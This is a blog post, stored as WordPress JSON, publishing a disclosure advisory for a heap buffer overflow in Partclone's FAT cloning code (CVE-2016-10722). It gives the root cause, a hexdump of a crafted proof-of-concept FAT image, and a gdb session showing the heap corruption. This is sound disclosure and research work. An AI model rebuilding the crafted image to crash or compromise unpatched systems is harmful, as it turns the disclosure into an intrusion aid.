{"id":156,"date":"2016-11-14T23:52:43","date_gmt":"2016-11-14T21:52:43","guid":{"rendered":"https:\/\/david.gnedt.at\/blog\/?p=156"},"modified":"2018-05-03T00:40:21","modified_gmt":"2018-05-02T22:40:21","slug":"advisory-partclone-fat-bitmap-heap-overflow","status":"publish","type":"post","link":"https:\/\/david.gnedt.at\/blog\/2016\/11\/14\/advisory-partclone-fat-bitmap-heap-overflow\/","title":{"rendered":"Advisory: Partclone FAT Bitmap Heap Overflow (CVE-2016-10722)"},"content":{"rendered":"<p>During my semester abroad I experimented a bit with the great fuzzer <a href=\"http:\/\/lcamtuf.coredump.cx\/afl\/\" target=\"_blank\" rel=\"noopener\">american fuzzy lop (afl)<\/a>.<br \/>\nDue to my background with the <a href=\"http:\/\/openclone.nongnu.org\/\" target=\"_blank\" rel=\"noopener\">OpenClone<\/a> project I was curious about the security of the <a href=\"http:\/\/partclone.org\/\" target=\"_blank\" rel=\"noopener\">Partclone<\/a> partition imaging software.<br \/>\nIt didn't take long and afl found some crashes. I analyzed them, built proof-of-concepts and <a href=\"https:\/\/github.com\/Thomas-Tsai\/partclone\/issues\/71\" target=\"_blank\" rel=\"noopener\">reported<\/a> the issues to the Partclone project.<\/p>\n<p>Here you can find the full version of the first advisory. The vulnerability is fixed since Partclone 0.2.88.<br \/>\nStay tuned for a second advisory. I will delay its publication, since the vulnerability is not fully fixed yet.<\/p>\n<p><strong>Update:<\/strong> CVE-2016-10722 was assigned to this issue.<\/p>\n<pre>=======================================================================\r\n title    : Partclone FAT Bitmap Heap Overflow\r\n product  : Partclone\r\n version  : 0.2.87\r\n homepage : http:\/\/partclone.org\/\r\n found    : 2016-01-03\r\n by       : David Gnedt\r\n=======================================================================\r\n\r\nVendor description:\r\n-------------------\r\n\r\nPartclone is a partition imaging tool supporting the FAT filesystem.\r\nPartclone is shipped by various Linux distributions and used by\r\nspecialized disk cloning systems like DRBL (http:\/\/drbl.org\/),\r\nClonezilla (http:\/\/clonezilla.org\/), Redo Backup\r\n(http:\/\/redobackup.org\/), ...\r\n\r\n\r\nVulnerability overview\/description:\r\n-----------------------------------\r\n\r\npartclone.fat is prone to a heap-based buffer overflow vulnerability\r\ndue to insufficient validation of the FAT superblock. An attacker may\r\nbe able to execute arbitrary code in the context of the user running\r\nthe affected application.\r\n\r\nThe vulnerability is located in fatclone.c and bitmap.h.\r\nget_used_block() allocates memory for the FAT bitmap based on the\r\nsectors field of the FAT superblock. mark_reserved_sectors() then\r\nwrites a number of 1 bits into the FAT bitmap based on multiple other\r\nfields of the FAT superblock but without bounds check, leading to a\r\nbuffer overflow.\r\nDue to an integer overflow in get_cluster_count() and specially crafted\r\nFAT entries processed by the check_fat*_entry() functions, an attacker\r\ncan also write arbitrary data beyond the bounds of the allocated\r\nbuffer.\r\nreadbitmap() is prone to similar heap buffer overflows.\r\n\r\nSummarized enumeration of stack traces where heap overflows can happen\r\n(only top 3 frames):\r\n#0  pc_clear_bit          at bitmap.h:22\r\n    pc_set_bit            at bitmap.h:15\r\n#1  check_fat12_entry     at fatclone.c:337,341,345\r\n    check_fat16_entry     at fatclone.c:309,313,317\r\n    check_fat32_entry     at fatclone.c:282,286,290\r\n    mark_reserved_sectors at fatclone.c:218,223,228\r\n#2  get_used_block        at fatclone.c:467,485,487,489\r\n    readbitmap            at fatclone.c:405,427,429,431\r\n\r\nInteger overflow in get_cluster_count() fatclone.c:135\r\n[...]\r\n    data_sec = total_sector - ( fat_sb.reserved + (fat_sb.fats * sec_per_fat) + root_sec);\r\n[...]\r\n\r\n\r\nProof of concept:\r\n-----------------\r\n\r\nThe proof of concept filesystem was created using mkfs.fat from\r\ndosfstools with a size of 68 blocks (34816 bytes) and cluster size of\r\n1. For triggering the integer overflow, the fat_length is increased\r\nfrom 0x01 to 0x12. The FAT entries are modified. To shorten the PoC,\r\nthe filesystem is truncated to 2048 bytes.\r\n\r\n$ hexdump -C poc.img\r\n00000000  eb 3c 90 6d 6b 66 73 2e  66 61 74 00 02 01 01 00  |.&lt;.mkfs.fat.....|\r\n00000010  02 00 02 44 00 f8 12 00  20 00 40 00 00 00 00 00  |...D.... .@.....|\r\n00000020  00 00 00 00 80 00 29 1f  27 1a 0b 4e 4f 20 4e 41  |......).'..NO NA|\r\n00000030  4d 45 20 20 20 20 46 41  54 31 32 20 20 20 00 00  |ME    FAT12   ..|\r\n00000040  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\r\n*\r\n000001f0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 55 aa  |..............U.|\r\n00000200  ff ff ff ff ff ff ff ff  ff ff ff ff ff ff ff ff  |................|\r\n*\r\n00000270  ff ff ff ff ff ff ff ff  ff ff de ad 00 00 00 00  |................|\r\n00000280  00 00 00 00 00 00 de ad  00 00 de ad 00 00 00 00  |................|\r\n*\r\n00000470  00 00 00 00 00 00 de ad  00 00 00 00 00 00 00 00  |................|\r\n00000480  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\r\n*\r\n00000800\r\n\r\n$ gdb --args partclone.fat -c -s poc.img -O \/dev\/null -L \/dev\/null -F\r\nGNU gdb (Ubuntu 7.7.1-0ubuntu5~14.04.2) 7.7.1\r\n(gdb) b fatclone.c:467\r\nBreakpoint 1 at 0x408d36: file fatclone.c, line 467.\r\n(gdb) r\r\nPartclone v0.2.87 http:\/\/partclone.org\r\nStarting to clone device (poc.img) to image (\/dev\/null)\r\nYou are not logged as root. You may have \"access denied\" errors when working.\r\nReading Super Block\r\n\r\nBreakpoint 1, get_used_block () at fatclone.c:467\r\n(gdb) p total_sector\r\n$1 = 68\r\n\r\nThe filesystem is 68 blocks long, so the bitmap will be 68 bits long.\r\nThe bitmap buffer size is 16 byte (rounded to 64 bit integers).\r\nThe buffer after initialization:\r\n\r\n(gdb) x\/8xg fat_bitmap\r\n0x6112b0:\t0xffffffffffffffff\t0xffffffffffffffff\r\n0x6112c0:\t0x0000000000000000\t0x0000000000000161\r\n0x6112d0:\t0x00007ffff77587b8\t0x00007ffff77587b8\r\n0x6112e0:\t0x00006f6d2e656e6f\t0x0000000000000141\r\n(gdb) c\r\nContinuing.\r\n\r\nProgram received signal SIGSEGV, Segmentation fault.\r\n0x0000000000408b0e in pc_clear_bit (bitmap=0x6112b0, nr=1010304) at bitmap.h:22\r\n(gdb) bt\r\n#0  0x0000000000408b0e in pc_clear_bit (bitmap=0x6112b0, nr=1010304) at bitmap.h:22\r\n#1  check_fat12_entry (fat_bitmap=0x6112b0, block=, bfree=, bused=, DamagedClusters=) at fatclone.c:341\r\n#2  0x0000000000408dfe in get_used_block () at fatclone.c:489\r\n#3  initial_image_hdr (device=0xf6a80 , image_hdr=0x7fffffff8cc0) at fatclone.c:363\r\n#4  0x000000000040309d in main (argc=-29936, argv=0x3daa) at main.c:251\r\n\r\nThe buffer after crash:\r\n\r\n(gdb) x\/8xg fat_bitmap\r\n0x6112b0:\t0xffffffffffffffff\t0xffffffffffffffff\r\n0x6112c0:\t0x4141414141414141\t0x4141414141414141\r\n0x6112d0:\t0x4141414141414141\t0x4141414141414141\r\n0x6112e0:\t0x0000000000000000\t0x0000000000000000\r\n\r\n\r\nVulnerable\/tested versions:\r\n---------------------------\r\n\r\nThe vulnerability is verified to exist in 0.2.87 of Partclone, which is\r\nthe most recent version at the time of discovery.\r\nOlder versions are probably affected as well.<\/pre>\n","protected":false},"excerpt":{"rendered":"<p>During my semester abroad I experimented a bit with the great fuzzer american fuzzy lop (afl). Due to my background with the OpenClone project I was curious about the security of the Partclone partition imaging software. It didn&#8217;t take long and afl found some crashes. I analyzed them, built proof-of-concepts and reported the issues to [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5,31],"tags":[29,27,32,28,26],"class_list":["post-156","post","type-post","status-publish","format-standard","hentry","category-floss","category-security-advisory","tag-american-fuzzy-lop","tag-heap-overflow","tag-integer-overflow","tag-partclone","tag-vulnerability"],"_links":{"self":[{"href":"https:\/\/david.gnedt.at\/blog\/wp-json\/wp\/v2\/posts\/156","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/david.gnedt.at\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/david.gnedt.at\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/david.gnedt.at\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/david.gnedt.at\/blog\/wp-json\/wp\/v2\/comments?post=156"}],"version-history":[{"count":12,"href":"https:\/\/david.gnedt.at\/blog\/wp-json\/wp\/v2\/posts\/156\/revisions"}],"predecessor-version":[{"id":176,"href":"https:\/\/david.gnedt.at\/blog\/wp-json\/wp\/v2\/posts\/156\/revisions\/176"}],"wp:attachment":[{"href":"https:\/\/david.gnedt.at\/blog\/wp-json\/wp\/v2\/media?parent=156"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/david.gnedt.at\/blog\/wp-json\/wp\/v2\/categories?post=156"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/david.gnedt.at\/blog\/wp-json\/wp\/v2\/tags?post=156"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}